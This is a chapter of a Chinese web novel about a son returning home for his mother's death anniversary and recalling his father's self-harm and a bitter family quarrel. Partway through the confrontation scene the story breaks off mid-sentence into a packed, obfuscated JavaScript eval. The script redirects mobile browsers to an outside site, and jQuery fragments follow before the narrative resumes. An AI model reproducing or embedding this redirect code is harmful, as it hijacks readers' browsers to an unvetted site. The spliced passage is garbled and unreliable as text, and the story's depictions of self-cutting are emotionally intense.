决定回家给白芦补过忌日后第二天中午，愉琛坐上回辽城的飞机。


    上海飞往辽城要三个半小时，好在不需要转机。愉琛拒绝了空乘的服务，靠在颈枕上，望着窗外发呆。


    引擎轰鸣，窗外时而是蓝天白云，时而是倾斜的城市，时明时暗的光晃得他逐渐眩晕，眼睛缓缓地闭上。窗外的日光暗下来，变成一种温热的橘。


    他再睁开眼，日光消失，舷窗外是六年前的夜。


    夜色漆黑，机舱内灯亮着，于是玻璃中映着他，如墨般的漆黑淋着他，融为一体。


    红眼航班很安静，只有偶尔响起的鼾声。手机开了飞行模式，什么消息都收不到。


    愉琛不安地看看时间，再看看安玉兰的消息。


    【你爸没啥大事，我就是想你回来看看他，劝劝他。】


    安玉兰从来是个能压事的人，绝不夸大，甚至报喜不报忧。没什么大事就是有事，真没事就不会发消息给他。


    他的焦虑持续到回家推开门，看到胳膊上裹着纱布的愉杰临。纱布渗着血，他反倒松口气。


    “怎么回事儿？”他轻手轻脚带上门。


    安玉兰气声说：“跟小琅吵了几句。小琅她也是好心，想让人来家里照顾他，毕竟他这样也不行。他怎么都不肯，一来二去就吵起来了。吵着吵着，话赶话就说到......”


    愉琛叹口气：“说到我妈了吧。我姐说什么了？”


    安玉兰没转述，只是说：“没说什么过分的，就是情绪到这了。而且你姐也不是冲你爸，是冲我，亲父女哪有那么大仇？”


    安玉兰是个绝对不拱火的人，她小心翼翼地拿捏分寸，大包大揽地将错都归在自己身上，生怕多说几句再闹起来。


    她不肯说，但他能大概猜到愉琅会说什么。


    愉琛揉揉猩红的眼睛，拍拍她胳膊：“安姨，我跟她说说，辛苦你看着我爸。”


    安玉兰伸头看看他眼睛，半晌才说：“你......累吧。”


    他笑笑，走出去。


    愉琅就在家门口坐着，看她颓废的样子，估计已经在这坐了很久。


    愉琛坐在她旁边，没说话，她倒是先骂：“叛徒。”


    他好脾气地给她递纸巾，依然没说话。


    愉琅眼眶通红，原本精心打理的卷发也变得毛躁。


    “我就是过不去，我就是心疼妈妈。”她攥着拳头，“他们不会觉得对不起吗？”


    愉琛说：“会吧。”


    “哪儿会？”她瞪着眼睛，“你告诉我哪点说明他们会？”


    “愉大律师，下班了。”他说。


    愉琅忽然就松下来，手臂颓废地挂在腿上，垂下来，“我不该那么说，我没说他也不会那么大反应。”


    愉琛拍拍她肩膀，等着她倒苦水。


    “他说，他凭什么不能过自己的日子。我觉得妈肯定会难过，我就问他，那我妈呢？她为什么不能？”她说，“我不是那意思，但他就觉得我在指责他，说他......”


    “说他害死了妈妈。”愉琛默默接上，拍拍她，“我知道，你没这么说。”


    “我总是在想那天。”她说，“他怎么总是那么疑神疑鬼？那天，他为什么非得跟妈吵架，为什么非得咄咄逼人，为什么非得跟妈的车钥匙较劲......我总想，要是不那么激动，也许妈不会开快车，更不会出事儿。”


    重提那天，愉琛觉得什么东西一点一点地攀上脖颈，一寸一寸扼住咽喉，呼吸变得困难，他只好深呼吸一次，语气尽量平和：“你也是做律师的，你知道不是这么定责归因的。”


    “我也怪我自己。”她说，“怎么劝架劝得跟拱火似的。”


    我也怪。


    怎么躲在屋子里不说话。


    愉琛没说话，只是安静地坐在楼梯间。


    “我没法不恨他，不恨安玉兰。”愉琅说，“我知道没意义，但我忍不了。”


    愉琛深呼吸几次，问：“那你恨妈吗？”


    “可能吧。”愉琅说，“但我不能细想，除了你，总得给我留个不恨的亲人吧。”


    愉琛没说话。


    愉琅走后，他在家多待了几天，跟愉杰临聊天。


    愉杰临和愉琅不一样，他不是那种有话直说的性格，所以他不说，他也不问。


    愉杰临沉闷地靠在床头，安玉兰会给他削些水果吃，愉琛看着她拿不锈钢小刀坐在床边，只觉得心惊胆战。


    他默默陪了几天，每天都很警惕，最终还是忍不住把不锈钢小刀丢了，买了刮皮器和儿童用塑料小刀。


    安玉兰接过花花绿绿的玩具刀，把他挡住眼睛的碎发拨到一边，又说一次：“累吧？”


    他还是笑笑。


    坐上回上海的飞机，他满脑子都是安玉兰额角细碎的皱纹。他们都走了，家里只剩她，和这个家关系最远的人。


    这让他忽然有种逃跑的羞愧感。


    他眼睛埋进臂弯里，蜷缩在一起。


    只想快点见到她，然后什么也不做。


    她两天没回消息，大概在闭关吧。


    /


    “柏林危机”后，又过了半个月，愉琛和沈棣棠再没有任何联系。关于他们的一切就这么戛然而止。


    他再次坐上回家的飞机，春节已过，连飞机内都冷清，死气沉沉。


    辽城的雪都化了，冰雕残破，满地泥泞，不是好时节。


    他揣着颗空荡荡的心脏，再次面对愉杰临的爆发。可笑的是，他拿的正是他买的那把儿童用塑料小刀，他手腕的皮肉翻起来。


    愉杰临独自站在角落里，神情时而恍惚，时而狰狞。


    愉琅和安玉兰站在一起，叠声劝他放下。


    愉琛挤出一点声音：“爸，你看着我。”


    愉杰临双眼没有聚焦，目光朝着他的方向挪动，但并没看见他。


    “别这样。”他说，“我知道你心里不舒服，我真明白。你先别这样，行吗？你先......”


    说话间，愉杰临手上又多了一条口子，新鲜的，血瞬间漫过外翻的皮肉，沁出来。


    愉琛绷着一根弦，满目猩红，要很努力才能吸进下一口空气。


    “烧...了....”愉杰临含糊道。


    他好不容易开口，安玉兰赶忙接上：“烧了的烧了的，你别这样，都烧了的。”


    “她的东西，都......”


    “按你的意思都拉走了，你不信我带你去看。”安玉兰赶忙说。


    愉琛一怔，慢慢回过头：“什么烧了？”


    “你妈妈的衣服还有餐垫......”安玉兰说了一半卡住，瞒不住才继续说，“琛琛，你屋里那箱子被拿走烧了，你先别难受，先.....”


    餐垫。


    她修补过的那些纪念品。


    烧了。


    是的。


    被抛下的人，是不配保留什么纪念品的。


    那根弦绷断了。


    他忽然就理解了愉琅，她每次为什么会被愉杰临逼到崩溃。


    他扭过头，冷脸看愉杰临，轻声问：“有那么难受吗？被我妈丢下。”


    “琛琛！”安玉兰去拦他，但没拦住。


    他一步一步地向愉杰临靠近，掏出口袋里紫色的烟丢到他面前，“这个也烧了吧。”


    “你不是知道吗？她开车出去，是去见谁。”


    愉琅一愣：“你......你说什么呢？”


    秘密压得他心口发痛，他硬生生扯开来，指着紫色的烟盒追问：“还有，这包烟又是谁的，你不是早知道了吗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771557|160274||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？”


    后来发生的事，愉琛基本不记得了。


    只记得愉杰临恶狠狠地捅向自己，他去挡。


    再醒来，手腕痛得不行，医生的话断断续续传来，听不清楚。


    “还是要去看下.......不可能是巧合，一般也不会拿手腕去挡刀子......带他看看......有家族史吗？”


    愉杰临伛偻地坐在床边，医生每说一句，他的背脊便更弯一些，人也苍老一岁。


    叮咚，广播响起，他睁开眼睛，映入眼帘的不再是黑夜，而是冬日的阳光。


    六年前的痛蔓延到今时此刻，还在隐痛，他深呼吸，驱散胸口若隐若现的痛觉。


    舷窗结着薄薄的霜，阳光忽然温柔下来，不再刺目，将霜映成彩色。


    航班即将抵达，辽城。


    下飞机后，愉琛没有托运行李，直接走到B2停车场，下扶梯。


    愉琅站在吸烟点，瞥他一眼，摁灭烟，“真慢啊，等你半小时了。”


    “那你怎么不直接跟他俩回去？”愉琛指着灌木丛似的烟头，“在这躲多久了？”


    愉琅把行李塞到他手里，往停车场走，“你还不如像之前那样，干脆不说话呢。”


    愉琛拎着行李跟着。


    她又回头看看：“营养师不错，你壮回来了。之前跟个骷髅架子似的。”


    “哪有那么夸张。”他笑着说。


    回程的车上，愉琅为了少说话，主动提出要开车，愉琛坐在副驾，侧过头跟愉杰临和安玉兰说话。


    “我做了清蒸鱼，你晚上多吃点。”安玉兰念叨。


    “他不爱吃鱼，小琅才爱吃鱼。”愉杰临说。


    愉琅在直行道按亮转向灯，不吭声。


    愉琛看她一眼，笑着说：“也爱吃的。”


    手机忽然收到某平台的新闻推送，有张照片看着眼熟，像是沈勇。他点进去：【跨境追捕，多名集资逃犯落网！】


    他去公安部官网，果然看到沈勇落网的消息。


    他很轻很轻地叹口气。


    趁着红灯，愉琅凑过来：“看什么呢？这人眼熟啊。”


    他将手机扣过去，没说话。


    第二天，他站在白芦墓碑前，盯着一截一截变窄的香，这环节太熟悉，以至于有些走神。


    这时愉琅忽然凑过来，厚重的羽绒服沙沙作响，她低声说：“想起来了，那男的我认识。”


    愉琛指指面前的愉杰临，食指抵住嘴唇。


    等香烧完，安玉兰从路口走过来，招呼愉杰临去交管理费。


    愉杰临将钥匙塞给愉琛：“这里冷，去车上等。你们先开车走也行，琅琅开。”


    等愉杰临走远，他俩依然站在墓碑前没动。


    “你开车，钥匙给我干什么。”愉琛笑，“你和爸都挺别扭。”


    愉琅不接话，拿过钥匙说：“我想起来了，你高中的时候让我举报那男的聚众赌博，他被拘留好长时间呢。那人谁？跟高中那姑娘什么关系？”


    她很快想起来：“那个小沈！”


    “她爸。”他说，“你记忆力真好。”


    “我真喜欢那姑娘，笔直得像跟甘蔗似的，外硬内甜，好玩儿。”愉琅说，“更早以前，她住咱家隔壁，对吧？”


    “嗯。”


    “走呗，冷。”愉琅说。


    “等下。”愉琛摘掉手套，从口袋里掏出斑驳的紫色烟盒，蹲下去，与白芦四目相对。


    愉琅性格更像白芦，他长相更像。对上白芦的眼睛，他有一瞬间晃神，像在照镜子。


    白芦墓碑扫得干干净净，但雪还在下，盖了薄薄一层，他缓缓伸手拂去。


    接着，将烟盒小心翼翼地摆在中间。


    紫色斑驳褪色，也像落上雪花。